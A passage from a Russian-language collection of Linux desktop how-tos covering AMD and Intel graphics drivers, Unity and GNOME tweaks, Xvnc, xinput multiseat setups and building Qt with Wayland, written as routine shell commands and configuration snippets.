    Восстанавливаем содержимое /etc/apt/sources.list:
    
       sudo sed -i 's/#deb/deb/' /etc/apt/sources.list
    
    Не забудте закоментировать репозитории wily, можно их и оставить, но не кошерно. 
    
    Находясь в директории с распакованым драйвером делаем:
    
       sudo sh ./ati-installer.sh 15.302 --install
    
    далее установка проходит в обычном режиме.
    
    Источник: Инструкция по установке драйвера в Fedora.
    
     
    ----* Оценка работы Unity 8 в изолированном контейнере, запускаемом в обычном Ubuntu (доп. ссылка 1)   [комментарии]
     
    Пользователям настольной версии Ubuntu, которая в выпуске 16.04 продолжает по
    умолчанию поставляться с X-сервером и окружением рабочего стола Unity 7,
    предоставлена возможность оценить работу свежей версии Unity 8 с минимальным
    влиянием на текущее рабочее окружение.  Начиная с Ubuntu 15.04, из штатных
    репозиториев можно установить образ LXC-контейнера c Unity 8 и графическим
    стеком на базе дисплейного сервера Mir и Qt5.
    
    Для развёртывания контейнера достаточно установить пакет unity8-lxc и запустить
    скрипт формирования и настройки начинки контейнера:
    
       sudo apt install unity8-lxc
       sudo unity8-lxc-setup
    
    после чего возможность входа в сеанс Unity 8 появится в штатном интерфейсе
    менеджера входа в систему.
    
    Для обновления начинки контейнера следует выполнить команду 
    
       sudo unity8-lxc-setup --update-lxc
    
    Пользователи Ubuntu 14.04 могут воспользоваться пакетом unity8-lxc после
    подключения PPA-репозитория https://launchpad.net/~unity8-desktop-session-team/+archive/ubuntu/unity8-preview-lxc
    
       sudo apt-add-repository ppa:unity8-desktop-session-team/unity8-preview-lxc
    
    
    Свежая видеодемонстрация Unity 8: http://www.youtube.com/watch?v=ItFoz92zNm0
    
     
    ----* Запуск и использование сервера Xvnc   Автор: 赤熊  [комментарии]
     
    В своё время была задача реализации игровой станции с множеством клиентов. В
    качестве клиентов выступали телефоны на платформе Android.
    Как оказалось обычного канала wi-fi хватало на раздачу игровой анимации
    примерно на десять клиентов. В качестве приложения-клиента использовался simplevnc.
    
    Ниже приведён скрипт запуска vnc-сервера, где первым параметром идёт адрес
    дисплея, например 1, а вторым параметром - адрес порта, например 5555.
    Расположение каталогов со шрифтами зависит от настроек вашей ОС, так что будьте внимательны.
    
    Файл авторизации на моём ПК лежит /dev/shm/bin/.vnc/passwd
    
    vncconfig позволяет настроить параметры запущенного vnc сервера. В приведённом
    примере это параметры отключения клиентов и уровень компрессии.
    
    
       #!/bin/sh
       Xvnc :$1 -desktop worker:$1 -geometry 800x500 -depth 24 -rfbwait 30000 -rfbauth /dev/shm/bin/.vnc/passwd -rfbport $2 -pn -fp /usr/X11R6/lib/X11/fonts/Type1/,/usr/X11R6/lib/X11/fonts/Speedo/,/usr/X11R6/lib/X11/fonts/misc/,/usr/X11R6/lib/X11/fonts/75dpi/,/usr/X11R6/lib/X11/fonts/100dpi/,/usr/share/fonts/X11/misc/,/usr/share/fonts/X11/Type1/,/usr/share/fonts/X11/75dpi/,/usr/share/fonts/X11/100dpi/ -co /etc/X11/rgb >/dev/shm/log_$1.txt 2>&1 &
    
       export DISPLAY=:$1.0
       vncconfig -DisconnectClients=0 -ZlibLevel=9 -IdleTimeout=120 NeverShared=1
    
    Кроме создания игрового сервера, связка Android и vnc-сервера может оказаться
    полезной для работы с инженерными программами и САПР, когда программа
    выполняется на хосте, а вывод формируется на телефоне.
    
     
    ----* Способ обхода краха Firefox и OpenGL приложений из-за ошибки в видеодрайвере Intel (доп. ссылка 1)   [комментарии]
     
    В Ubuntu 14.04 и более новых выпусках при использовании KMS-драйвера i915 на
    системах со старыми видеочипами Intel 965GM,  обычно используемыми в связке с
    CPU Intel Core 2 Duo, периодически начинают падать OpenGL-приложения.
    
    После загрузки некоторое время всё нормально, но после выхода из сна или
    перехода в полноэкранный режим попытка обращения к OpenGL приводит к выводу
    такой ошибки:
    
       $ glxgears 
    
       intel_do_flush_locked failed: Input/output error
    
    
    Неприятность ситуации в том, что в таких условиях непредсказуемым образом
    начинает падать и Firefox, если на сайте используется WebGL или модные
    графические трансформации.
    
    Обходным способом решения проблемы является запуск OpenGL-программ с
    программной реализацией OpenGL (включается установкой переменной окружения
    LIBGL_ALWAYS_SOFTWARE=1), например, вместо прямого вызова в ярлык для запуска
    Firefox можно прописать:
    
       sh -c "LIBGL_ALWAYS_SOFTWARE=1 /usr/local/firefox/firefox"
    
    Проблема решается установкой Mesa из репозитория xorg-edgers:
    
       sudo apt-add-repository ppa:xorg-edgers/ppa
       sudo apt-get update
       sudo apt-get dist-upgrade 
    
     
    ----* Простой способ существенно увеличить производительность открытого драйвера RadeonSI (доп. ссылка 1)   Автор: Аноним  [комментарии]
     
    Как известно, открытый драйвер RadeonSI для GPU семейства Radeon на основе GCN
    от компании AMD все чаще показывает производительность, сравнимую с
    проприетарным драйвером и при этом не страдает некоторыми проблемами и
    особенностями проприетарного драйвера, на данный момент полностью поддерживая
    стандарт OpenGL 3.3, что зачастую делает этот драйвер интересным вариантом даже
    для любителей игр.
    
    Менее известен тот факт, что можно получить существенный дополнительный прирост
    производительности открытого драйвера в ряде 3D-программ очень простым методом.
    
    В RadeonSI по умолчанию отключен Hyper-Z, из-за проблем с стабильностью в
    некоторых программах с некоторыми GPU. Тем не менее, по состоянию на данный
    момент (MESA 10.3-devel, ядро Linux 3.17-rc1) большинство подобных сочетаний
    GPU и программ работает вполне стабильно.
    
    В результате можно получить достаточно существенный прирост производительности
    в 3D, выставив переменную окружения R600_DEBUG=hyperz для активации hyper-z. Как
    показали
     тесты ресурса Phoronix,  в зависимости от программы прирост составляет от 10
    до 50%.
    
    
    
    Дополнение: 
    
    MESA версий 10.4 и более новые активируют hyperz по умолчанию, поскольку все
    известные проблемы со стабильностью были устранены. В данном случае указанная
    настройка не требуется, а в случае проблем с hyperz его можно отключить
    "обратной" настройкой - R600_DEBUG=nohyperz
    
    Кроме этого, в свежих версиях MESA содержится и ряд иных оптимизаций,
    существенно увеличивающих производительность в ряде случаев, поэтому
    пользователям заинтересованным в высокой производительности 3D-графики с
    открытыми драйверами семейства Radeon рекомендуется использовать свежие версии
    компонентов графического стека.
    
     
    ----* Организация ввода спецсимволов в системах с X.Org   Автор: pavlinux  [комментарии]
     
    В системах, использующих X.org, в модуле xkb существует подсистема Compose
    Keys, которая нужна и может, или даже должна быть использована для ввода
    спецсимволов, точнее знаков отсутствующих на обычных PC клавиатурах. Например
    знаки копирайта ©, товарный знак, регистрационное имя, градус °, дроби и так далее.
    
    Для включения этой возможности, нужно всего лишь добавить конфигурационный файл
    Xorg, в секции "InputClass" или "InputDevice"
    для клавиатуры, добавить опцию:  
    
       Option "XkbOptions" "compose:ralt"
    
    Если таковая уже имеется, то, через запятую, можно дописать этот параметр в конец её аргументов:
    
    
       Option "XkbOptions" "grp:ctrl_shift_toggle,grp_led:scroll,compose:ralt"
    
    
    Как уже догадались, Compose-клавишей у нас является правый Alt.  
     
    &#167; Теперь осталось самое тяжёлое - запомнить комбинации и
    потренироваться, так как некоторые знаки требуют 5 дана по клавиатурному феншую.
    
    Например для набора знака +/- нужно 
    нажать и держать <Compose>, нажать и держать <Shift> , нажать  <=>,  
    отпустить <Shift> нажать  <->    
    
    Подсказку с комбинациями можно добавить в закладки браузера.
    http://www.hermit.org/Linux/ComposeKeys.html
    
    P.S. Кто не знает или забыл, где найти файл конфигурации Xorg:  
    Олдскульный - /etc/X11/xorg.conf. 
    В новых системах, в отдельном каталоге, что-то вроде /etc/X11/xorg.conf.d/
    должен быть отдельный файл для клавиатуры, на openSuSE это 90-keytable.conf
    Какой именно используется у вас, можно найти в логе Xorg: 
    
       grep "Using config" /var/log/Xorg.*
    
     
    ----* Кастомизация Unity и установка полноценного GNOME в Ubuntu 12.04 (доп. ссылка 1)   [комментарии]
     
    Установка дополнительных утилит для тонкой настройки Unity.
    
    В Ubuntu Software Center можно найти утилиту MyUnity, при помощи которой можно
    настроить базовые аспекты поведения оболочки:
    
       sudo apt-get install myunity
    
    Для настройки Compiz и десктоп-эффектов следует использовать CompizConfig Settings Manager:
    
       sudo apt-get install compizconfig-settings-manager
    
    
    Для изменения поведения ланчера, панели и опций запуска удобно использовать
    приложение Ubuntu Tweak:
    
       sudo add-apt-repository ppa:tualatrix/ppa
       sudo apt-get update
       sudo apt-get install ubuntu-tweak
    
    Подборка разнообразных настроек панели, шрифтов, визуальных тем и других
    параметров Unity также представлена в программе Unsettings:
    
       sudo add-apt-repository ppa:diesch/testing
       sudo apt-get update
       sudo apt-get install unsettings
    
    
    
    Помещение ярлыков приложений на рабочий стол. 
    
    Переместить иконки с приложениями на рабочий стол можно путем их перетаскивания
    мышью из панели или области поиска. После перемещения необходимо убедиться, что
    скопированные .desktop файлы имеют права на запуск и принадлежат текущему пользователю:
    
       sudo chmod +x  ~/Desktop/*.desktop
       sudo chown логин  ~/Desktop/*.desktop
    
    
    Добавление классического меню.
    
    Для возвращения классического иерархического меню в стиле GNOME 2 следует
    установить апплет classicmenu:
    
       sudo add-apt-repository ppa:diesch/testing
       sudo apt-get update
       sudo apt-get install classicmenu-indicator
    
    Для активации меню следует найти и запустить  через HUD программу
    classicmenu-indicator, после чего меню появится в верхней части панели.
    
    Отключение скрытых полос прокрутки.
    
    Для возвращения привычных полос прокрутки следует выполнить:
    
       sudo su
       echo "export LIBOVERLAY_SCROLLBAR=0" > /etc/X11/Xsession.d/80overlayscrollbars
    
    Отключение глобального меню.
    
    
    Глобальное меню можно отключить в конфигураторе Unsettings или удалив связанные с ним пакеты:
    
       sudo apt-get autoremove appmenu-gtk appmenu-gtk3 appmenu-qt
    
    Вернуть глобальное меню можно установив пакеты:
    
       sudo apt-get install appmenu-gtk appmenu-gtk3 appmenu-qt
    
    
    В Firefox глобальное меню можно удалить отключив дополнние "Global Menu Bar Integration".
    
    Добавление индикатора мониторинга параметров системы (CPU, сеть, память и т.п.) на панель.
    
    
       sudo add-apt-repository ppa:indicator-multiload/stable-daily
       sudo apt-get update
       sudo apt-get install indicator-multiload
    
    Для активации индикатора следует запустить программу indicator-multiload.
    
    
    Установка GNOME вместо Unity.
    
    Установка классического оформления GNOME:
    
       sudo apt-get install gnome-panel
    
    Установка десктопа GNOME 3:
    
       sudo apt-get install gnome-shell
    
    Установка Cinnamon, форка GNOME Shell с интерфейсом в стиле GNOME 2:
    
       sudo add-apt-repository ppa:gwendal-lebihan-dev/cinnamon-stable
       sudo apt-get update
       sudo apt-get install cinnamon
    
    После установки пакетов, окружение можно выбрать через выпадающее меню менеджера входа в систему.
    
    Для настройки параметров GNOME 3 можно установить конфигуратор GNOME Tweak:
    
       sudo apt-get install gnome-tweak-tool
    
     
    ----* Восстановление стандартного KDE меню после его удаления (например, wine)   Автор: kroz  [комментарии]
     
    Опишу ситуацию на примере подменю wine в меню KDE, так как проблема зачастую
    проявляется именно здесь. Например, мы хотим удалить все установленные
    Windows-программы. Для этого удаляется каталог ~/.wine, однако соответствующие
    пункты KDE меню приложений остаются. Логичным шагом является удаление всего
    подменю Wine. Однако после этого windows-программы больше не появятся в KDE
    меню. Даже если создать подменю с именем Wine, это не изменит ситуацию.
    
    Проблема состоит в том, что при редактировании стандартных пунктов KDE меню,
    появляется вот такой файл:
    
       .config/menus/applications-kmenuedit.menu
    
    Файл описывает кастомизированное меню приложений KDE. Если его удалить
    (переместить), то все модификации стандартных пунктов меню уйдут, в частности,
    появится удаленный пункт меню Wine, и в него будут добавляться
    свежеустановленные Windows-программы.
    
     
    ----* Инструкция по запуску Qt-приложений поверх дисплейного сервера Wayland (доп. ссылка 1)   [комментарии]
     
    Для экспериментов с запуском Qt-приложений поверх  дисплейного сервера Wayland
    следует использовать экспериментальную ветку Qt, в которой обеспечена поддержка
    последних дополнений протокола Wayland (в недавно выпущенном Qt 4.8 этих
    дополнений нет).
    
    Устанавливаем последний срез исходных текстов Qt из Git-репозитория проекта:
    first, you have to clone qtbase:
    
       mkdir qt; cd qt
       git clone git://gitorious.org/qt/qtbase.git
    
    Так как установка Qt будет производиться в отдельную директорию /opt/qt/qt5 в
    процессе экспериментов следует установить следующие переменные окружения
    (например, добавить в .bashrc):
    
       export QTVER=qt5
       export QTDIR=/opt/qt/$QTVER
       export PATH=$QTDIR/bin/:$PATH
       export LD_LIBRARY_PATH=$QTDIR/lib/:$LD_LIBRARY_PATH
       export PKG_CONFIG_PATH=$QTDIR/lib/pkgconfig/:$PKG_CONFIG_PATH
       export QT_PLUGIN_PATH=$QTDIR/lib/plugins/
    
    
    Устанавливаем пакеты, необходимые для сборки Qt и Wayland (пример для Ubuntu 11.10):
    
       apt-get install libxcb1 libxcb1-dev libx11-xcb1 libx11-xcb-dev libxcb-keysyms1 libxcb-keysyms1-dev \
          libxcb-image0 libxcb-image0-dev libxcb-shm0 libxcb-shm0-dev libxcb-icccm4 libxcb-icccm4-dev \
          libxcb-sync0 libxcb-sync0-dev libxcb-xfixes0-dev
    
    Устанавливаем опции сборки Qt:
    
       ./configure -confirm-license -opensource -no-qt3support \
          -no-multimedia -no-webkit -no-phonon -no-v8 -debug -qpa -xcb \
          -wayland -egl -opengl es2 -nomake examples -prefix /opt/qt/qt5
    
    Собираем и устанавливаем Qt в директорию /opt/qt/qt:
    
       make
       make install
    
    Загружаем код платформы qtwayland с дополнениями к Qt для работы поверх Wayland:
    
       cd ../
       git clone git://gitorious.org/qt/qtwayland.git
    
    Для сборки qtwayland требует наличие библиотек Wayland в системе, которые можно
    поставить из PPA-репозитория дистрибутива или собрать вручную.
    
    При необходимости запуска Wayland поверх X-сервера устанавливаем библиотеку libxcomposite:
    
       apt-get install libxcomposite-dev
    
    Собираем и устанавливаем qtwayland:
    
       cd qtwayland/
       qmake
       make
       make install
    
    Для запуска Qt-приложения вначале следует определить директорию XDG, которую
    будут использовать для взаимодействия между собой композитный сервер и клиент Wayland:
    
       export XDG_RUNTIME_DIR=$HOME/.xdg
       mkdir $HOME/.xdg
    
    Собираем Qt-приложение:
    
       cd ../qtbase/examples/opengl/hellowindow
       qmake
       make
    
    Запускаем wayland:
    
       wayland-compositor &
    
    Запускаем Qt-приложение поверх Wayland:
    
       ./hellowindow -platform wayland
    
     
    ----* Возвращение возможности принудительного завершения X-сессии нажатием Ctrl+Alt+Backspace   [комментарии]
     
    Во многих Linux-дистрибутивах блокирована возможность принудительного
    перезапуска X-сервера при нажатии Ctrl+Alt+Backspace, что в случае
    возникновения проблем с видеодрайверами вынуждает совершать перезагрузку всей
    системы. Вернуть возможность принудительного завершения X-сервера через
    Ctrl+Alt+Backspace можно двумя способами:
    
    1. Добавить в файл ~/.xprofile строку:
    
       setxkbmap -option terminate:ctrl_alt_bksp
    
    Чтобы изменение сразу подействовало нужно не забыть выполнить эту команду
    вручную, иначе настройки вступят в силу только после перезапуска X-сервера.
    
    2. Изменить настройки X-сервера, в секцию "InputClass" файла /etc/X11/xorg.conf добавляем:
    
       Option "XkbOptions" "terminate:ctrl_alt_bksp"
    
     
    ----* Дополнительное место в верхней панели в Ubuntu (доп. ссылка 1)   Автор: szh  [комментарии]
     
    В верхней панели в Ubuntu можно получить дополнительное место сократив размер
    записей "Application  Places  System" или их русского эквивалента. Это можно
    сделать с помощью файла перевода.
    
    1. Создаем файл:
    
       msgid ""
       msgstr ""
       "Project-Id-Version: gnome-panel trunk\n"
       "Report-Msgid-Bugs-To: \n"
       "POT-Creation-Date: 2008-05-26 00:59+0000\n"
       "PO-Revision-Date: 2008-05-26 00:59+0000\n"
       "Last-Translator: YOUR NAME\n"
       "Language-Team: None\n"
       "MIME-Version: 1.0\n"
       "Content-Type: text/plain; charset=UTF-8\n"
       "Content-Transfer-Encoding: 8bit\n"
       "Plural-Forms: nplurals=1; plural=0;\n"
       "X-Launchpad-Export-Date: 2008-04-16 01:47+0000\n"
       "X-Generator: Launchpad (build Unknown)\n"
    
       msgid "Applications"
       msgstr "Apps"
    
       msgid "Places"
       msgstr "P"
    
       msgid "System"
       msgstr "Sys"
    
    Новые названия в последних строчках.
    
    2. В терминале выполняем:
    
       msgfmt имя_файла
    
    в результате чего сгенерируется файл messages.mo
    
    3. Копируем созданный файл в директорию с файлами локализации
    
       sudo mv messages.mo /usr/share/locale-langpack/en_US/LC_MESSAGES/gnome-panel-2.0.mo
    
    Здесь в пути возможно вам надо заменить en_US на ru_RU.
    
    4. Перезапускаем панель:
    
       pkill gnome-panel
    
    И все заработает, вместо "Application Places System" в верхнем левом углу
    получим более короткую запись: "Apps P Sys"
    
     
    ----* Одновременная локальная работа двух пользователей на одном компьютере под управлением Ubuntu 11.04   Автор: Пётр Зуев  [комментарии]
     
    В данной статье рассматривается один из способов реализации возможности
    одновременной независимой работы двух пользователей за одним компьютером, при
    этом к одному системному блоку подключается два комплекта монитор/мышь/клавиатура.
    
    Способов реализации подобного решения сейчас существует достаточно много, но,
    их реализация является весьма сложным делом, особенно для неопытных
    пользователей операционных систем Linux. Однако, описанный в данной статье
    способ намного проще в реализации чем большинство аналогичных методов.
    
    Для реализации данного решения необходим компьютер с двухголовой видеокартой
    (желательно nvidia) с подключенными к нему двумя мониторами, мышами и
    клавиатурами, а также установленной операционной системой Ubuntu 11.04.
    
    Для начала необходимо настроить одновременную работу двух мониторов в режиме
    "Separate X screen", если вы это уже сделали то можете смело пропустить данную
    часть статьи и перейти к пункту "настройка устройств ввода"
    
    
    Настройка режима Separate X screen с помощью утилиты nvidia-settings
    
    У владельцев видеокарт nvidia после установки проприетарного драйвера
    видеокарты появляется очень удобная утилита для настройки X-сервера под
    названием nvidia-settings, открываем её и переходим к пункту "X Server Display Configuration"
    
    
    
    Далее кликаете мышкой на второй монитор в окне программы и нажимаете кнопку
    Confugure, после чего в появившемся окне выбираете режим Separate X screen.
    
    
    
    После этого, при необходимости, можно указать разрешение и частоту второго монитора.
    
    Далее, нажмите на кнопку "Save to X Configuration file" и сохраните созданный
    утилитой файл конфигурации X-сервера.
    
    После этого необходимо перезагрузить компьютер и, после выбора пользователя, до
    ввода пароля, отключить лишние визуальные эффекты, выбрав вариант "классическая
    Ubuntu (Без эффектов)"
    
    
    
    Если всё сделано правильно то, после входа в систему на обоих мониторах должен
    появится рабочий стол, при этом курсор мыши может свободно перемещаться с
    одного экрана на другой.
    
    
    Настройка устройств ввода
    
    Приступим к настройке устройств ввода.
    
    Открываем окно терминала и пишем команду:
    
       xinput list
    
    
    
    Ищем в списке вторую мышь и вторую клавиатуру, подключенную к USB интерфейсу и
    запоминаем их id, в моём случае мышь имеет id 10 и клавиатура имеет id 8, у вас
    устройства ввода будут иметь другие id.
    
    Пишем в терминале команду 
    
       xinput create-master seat
    
    После этого на экране появится второй курсор, теперь нам нужно переназначить
    устройства ввода, для этого в терминале пишем команду
    
       xinput reattach 10 "seat pointer"
    
    обратите внимание, что в данном случае вместо числа 10 должно быть число,
    взятое из id второй мыши в списке, полученном нами ранее по команде "xinput
    list", далее пишем команду
    
       xinput reattach 8 "seat keyboard"
    
    число берём из id второй клавиатуры из того же списка.
    
    Курсор второй мыши стоит увести на другой экран, после чего готовой
    конфигурацией можно пользоваться.
    
    Прописываем автозапуск.
    
    Обратите внимание, на то, что изменения сделанные нами с помощью команды xinput
    действуют только до перезапуска X-сервера или до перезагрузки компьютера,
    поэтому, рекомендуется добавить автоматическое выполнение в список автозапуска,
    для этого создаём файл с любым именем в удобном для вас месте, в моём случае
    это файл "seat.sh" в директории /home/petr. Вносим в данный файл строки:
    
       #!/bin/sh
       xinput create-master seat
       xinput reattach 10 "seat pointer"
       xinput reattach 8 "seat keyboard"[[/CODE]]
    
    Обратите внимание, вместо чисел 10 и 8 необходимо указать ваши id, после этого
    прописываем файлу права на запуск, для этого переходим в директорию с файлом и,
    даём файлу права на запуск, например
    
       cd /home/petr
       chmod 700 seat.sh
    
    далее прописываем файл в автозапуск, удобнее всего это сделать открыв окно
    настройки списка запускаемых приложений, (система/параметры/запускаемые приложения)
    
    
    
     
    ----* Установка AMD Catalyst 11.5 на Debian-подобную систему с Linux-ядром 2.6.39 (доп. ссылка 1)   Автор: Карбофос  [комментарии]
     
    Для начала должны быть установлены пакеты:
    
       sudo apt-get install build-essential cdbs fakeroot dh-make debhelper debconf \
          libstdc++6 dkms libqtgui4 execstack libelfg0 ia32-libs
    
    Затем, нужен драйвер Catalyst и патчи к новому ядру:
    
       mkdir atifix
       cd atifix
       wget http://www2.ati.com/drivers/linux/ati-driver-installer-11-5-x86.x86_64.run
       wget http://www.mindwerks.net/wp-content/uploads/2011/03/2.6.39_bkl.patch
       wget http://www.mindwerks.net/wp-content/uploads/2011/03/no_bkl.patch
    
    Распаковываем драйвер и применяем патчи:
    
       chmod +x ati-driver-installer-11-5-x86.x86_64.run
       ./ati-driver-installer-11-5-x86.x86_64.run --extract driver
       mv *.patch ./driver/
       cd ./driver/
       patch -p1 -i 2.6.39_bkl.patch && patch -p1 -i no_bkl.patch
    
    После патчей устанавливаем драйвер:
    
       ./ati-installer.sh 8.85 --install
    
    Более правильный способ установки, использованием штатного пакетного менеджера:
    
    1. узнаём список поддерживаемых дистрибутивов:
    
       ./ati-installer.sh 8.85 --listpkg
    
    2. генерируем установочный пакет для нужного дистрибутива из списка
       ./ati-installer.sh 8.85 --buildpkg YourDistrName
    
    3. устанавливаем. к примеру, пакет для Debian
    
       dpkg -i fglrx*.deb
    
    
    Если во время установки не всплыло никаких зависимостей, то выполняем
    
       aticonfig --initial -f
    
    Перегружаем компьютер или X-Server и проводим на всякий случай диагностику:
    
       cat /var/log/Xorg.0.log | grep EE
    
    После рестарта можно диагностировать с помощью
    
       fglrxinfo и fgl_glxgears
    
     
    ----* Использование двух видеокарт на ноутбуках с поддержкой NVIDIA Optimus в Linux   [комментарии]
     
    В настоящее время многие ноутбуки (например, некоторые модели Asus, Acer, Dell,
    Toshiba и Samsung) поставляются с видеоподсистемой NVIDIA Optimus, позволяющей
    на лету переходить на использование встроенного энергоэффективной видеокарты на
    базе GPU Intel или переключаться на  дискретную карту NVIDIA, потребляющую
    больше энергии, но позволяющую достичь более высокой производительности. Для
    задействования технологии NVIDIA Optimus в Linux можно использовать пакет
    Bumblebee (до переименования Prime-ng) и VirtualGL.
    
    Cвязка Bumblebee и VirtualGL не позволяет в прозрачном режиме переключать
    видеокарты на лету, как это реализовано в драйверах для Windows (проприетарные
    драйверы NVIDIA для Linux не поддерживают технологию Optimus, так как она
    требует внесения изменений в X-сервер и драйверы для карт Intel и NVIDIA).
    
    В штатном режиме при использовании Bumblebee десктоп-окружение работает с
    использованием видеокарты Intel (с поддержкой 3D), дискретная видеокарта NVIDIA
    при этом находится в неактивном состоянии. Для выполнения приложений, требующих
    интенсивных 3D-операций, можно задействовать видеокарту NVIDIA. Для этого
    следует запускать программы при помощи утилиты "optirun32 приложение" или
    "optirun64 приложение", для 64-разрядных систем.
    
    Подобный подход достаточно прост и эффективен, основан на использовании
    стандартных видеодрайверов и не требует при этом переработки X-сервера.
    Возможность запуска приложения с использованием для формирования вывода
    дискретной видеокарты достигается благодаря использованию системы VirtualGL,
    позволяющей перенаправить 3D-команды из OpenGL-приложения на внешний сервер,
    преобразовав сформированные изображения в видеопоток. Таким образом, Bumblebee
    не переключает видеокарты, а позволяет использовать их одновременно (для карт
    NVIDIA поддерживается только пропритетарный драйвер). При этом недостатком
    является то, что неактивная NVIDIA карта не обесточивается в момент простоя и
    продолжает потреблять энергию.
    
    Установка Bumblebee полностью автоматизирована. Готовые пакеты доступны для
    Ubuntu, openSUSE, Arch и Fedora Linux. Для организации переключения между
    видеокартами достаточно загрузить с сайта скрипт install.sh и пакеты,
    содержащиеся в директории install-files.
    
    После загрузки достаточно запустить скрипт install.sh, который сам определит
    тип дистрибутива Linux, загрузит при необходимости проприетарный драйвер
    NVIDIA, установит недостающие пакеты и внесёт изменения в конфигурацию X.Org.
    
     
    ----* Установка драйверов для ATI RadeonHD Series на Linux CentOS 5.x   Автор: Юрий Рогоза  [комментарии]
     
    Прочитав множество статей и тем на форумах, методом чужих и собственных проб и
    ошибок, мне все таки удалось заставить работать мой Radeon HD3870 с драйверами
    и поддержкой OpenGL аппаратного ускорения. По этому поводу, решил написать
    статью, которая,
    возможно окажется полезной другим людям.
    
    Конфигурация на которой выполнялась установка:
       HARDWARE:
           ASUS P5K
           Intel Core 2 Quad Q6600
           2 Gb RAM
           ATI Radeon HD3870 GDDR4
       OS:
           Linux CentOS 5.5 x86_64 [64-bit]
           Стандартное ядро: 2.6.18-194.el5
    
    Итак, откроем консоль и приступим к пошаговой настройке:
    
    Заходим под пользователем root
    
       su
       Пароль: *******
    
    Устанавливаем репозиторий ELRepo
     
       rpm --import http://elrepo.org/RPM-GPG-KEY-elrepo.org
       rpm -Uvh http://elrepo.org/elrepo-release-5-2.el5.elrepo.noarch.rpm
    
    Открываем в любимом текстовом редакторе файл /etc/yum.repos.d/elrepo.repo
      Файл должен содержать 3 репозитория: elrepo, elrepo-testing и elrepo-kernel. Во избежании лишних вопросов для всех 3-х меняем строчку enabled=0 на enabled=1.
    
    Устанавливаем fglrx драйвер x11 и модуль ядра (у меня это x86_64, для 32-битных систем не проверял)
    
       yum install fglrx-x11-drv.x86_64 kmod-fglrx.x86_64
    
    На заметку: модуль ядра fglrx.ko попадает по адресу
    /lib/modules/версия ядра (у меня это: 2.6.18-194.el5)/weak-updates/fglrx/fglrx.ko
    
    
    Другой вариант, установка ATI Catalyst с официального сайта.
    
    Заходим на сайт: http://support.amd.com/us/gpudownload/Pages/index.aspx 
       Step 1 выбираем "Desktop Graphics", 
       Step 2 - "Radeon HD Series",
       Step 3 - Radeon HD xxxx, 
       Step 4 - платформу "x86 или x86_64"
       Step 5 (Display results) и скачиваем отобразившийся проприетарный драйвер.
    
    Инсталлятор скачанного нами драйвера выполнен в формате .run Запускаем:
    
       sh ati-driver-installer*.run
    
    Начинает грузиться инсталлятор, в итоге мы получим окошко с двумя опциями, где
    выбираем: "Install Driver....", нажимаем далее, принимаем лицензионное
    соглашения, далее, выбираем Automatic.
    
    После того как драйвер установлен вручную или из репозитория, приступаем к
    настройке xorg.conf. Запускаем:
    
       aticonfig --initial --input=/etc/X11/xorg.conf
    
    Не пугайтесь! Ваш рабочий xorg.conf будет забэкаплен рядом с новым в /etc/X11/xorg.conf.fglrx-*
    
    Во избежание глюков, откройте в текстовом файле новоиспеченный файл
    конфигурации X-ов etc/X11/xorg.conf и в случае выявления загрузки модулей dri,
    glx, dbe, xv и прочих "полезностей" в секции Section "Module", закомментируйте
    или удалите их совсем. Функции этих модулей возложены на драйвер fglrx.  В
    идеале секция "Module" должна быть пуста и не содержать строк "Load dri" и тому подобных.
    
    Пример файла конфигурации /etc/X11/xorg.conf:
    
       # Xorg configuration created by pyxf86config
       Section "ServerLayout"
           Identifier     "Default Layout"
           Screen      0  "Screen0" 0 0
           InputDevice    "Keyboard0" "CoreKeyboard"
       EndSection
    
       Section "Files"
           ModulePath   "/usr/lib64/xorg/modules/extensions/fglrx"
           ModulePath   "/usr/lib64/xorg/modules"
       EndSection
    
       Section "Module"
       EndSection
    
       Section "InputDevice"
           Identifier  "Keyboard0"
           Driver      "kbd"
           Option      "XkbModel" "pc105"
           Option      "XkbLayout" "us,ru"
           Option      "XkbOptions" "grp:ctrl_shift_toggle"
           Option      "XkbVariant" ",winkeys"
       EndSection
    
       Section "Device"
           # X.org Original Driver r500
           Identifier  "Videocard0"
           Driver      "fglrx"
           BusID       "PCI:1:0:0"
       EndSection
    
       Section "Screen"
           Identifier "Screen0"
           Device     "Videocard0"
           DefaultDepth     24
           SubSection "Display"
                   Viewport   0 0
                   Depth     24
           EndSubSection
       EndSection
    
    Для правильной работы fglrx-модуля ядра выполним (по идее данный этап
    выполняется инсталлятором драйвера Catalyst)
    
       depmod
    
    Перезагрузка или ручная загрузка модуля через "modprobe fglrx" (может
    потребоваться предварительная выгрузка ранее установленного видеодрайвера)
    
    Проверим загрузился ли наш модуль ядра:
    
       lsmod | grep fglrx
       fglrx 2782056  133
    
    Тестирование
    Посмотрим glxinfo
    
       glxinfo | grep render
    
       direct rendering: Yes
       OpenGL renderer string: ATI Radeon HD 3870
       GL_NV_conditional_render, GL_NV_copy_depth_to_color,
    
    Оценим вращающиеся шестерни glxgears
    
       glxgears
    
     
    ----* Обособленная установка дисплейного сервера Wayland в Ubuntu (доп. ссылка 1)   [комментарии]
     
    Ниже представлен скрипт, который позволяет установить дисплейный сервер Wayland
    для проведения экспериментов. Wayland устанавливается в отдельную директорию
    $HOME/install и не влияет на работу основного графического окружения
    дистрибутива, что позволяет без боязни начать экспериментировать с дисплейным
    сервером. Скрипт сам загружает все необходимые зависимости и проверен в Ubuntu 10.10.
    
    Для работы необходима видеокарта NVIDIA и драйвер nouveau со включенным DRI
    (конфигурация также без проблем будет работать с видеокартами Intel), для
    установки которого можно использовать команды (указанные пакеты находятся в
    репозитории Universe):
    
       sudo aptitude install libgl1-mesa-dri-experimental 
       usermod -a -G video логин_пользователя
    
    После установки  nouveau отключаем проприетарный драйвер через System /
    Administration / Additional Drivers и перезагружаем систему.
    Проверить активность DRI можно так:
    
       glxinfo | grep direct
    
       direct rendering: Yes
    
    Далее запускаем установочный скрипт, который работает несколько минут, так как
    пересобирает из git-репозитория свежие версии drm, mesa, xproto, kbproto,
    macros, libX11, libxkbcommon, cairo и wayland.
    
    
     set -u # exit script if anything fails
    
     # You might want to put these in your ~/.bashrc
     PKG_CONFIG_PATH=$HOME/install/lib/pkgconfig/:$HOME/install/share/pkgconfig/
     export PKG_CONFIG_PATH
     ACLOCAL="aclocal -I $HOME/install/share/aclocal"
     export ACLOCAL
     C_INCLUDE_PATH=$HOME/install/include
     export C_INCLUDE_PATH
     LIBRARY_PATH=$HOME/install/lib
     export LIBRARY_PATH
    
     # Do *not* put this in your ~/.bashrc it will break things.
     LD_LIBRARY_PATH=$HOME/install/lib
     export LD_LIBRARY_PATH
    
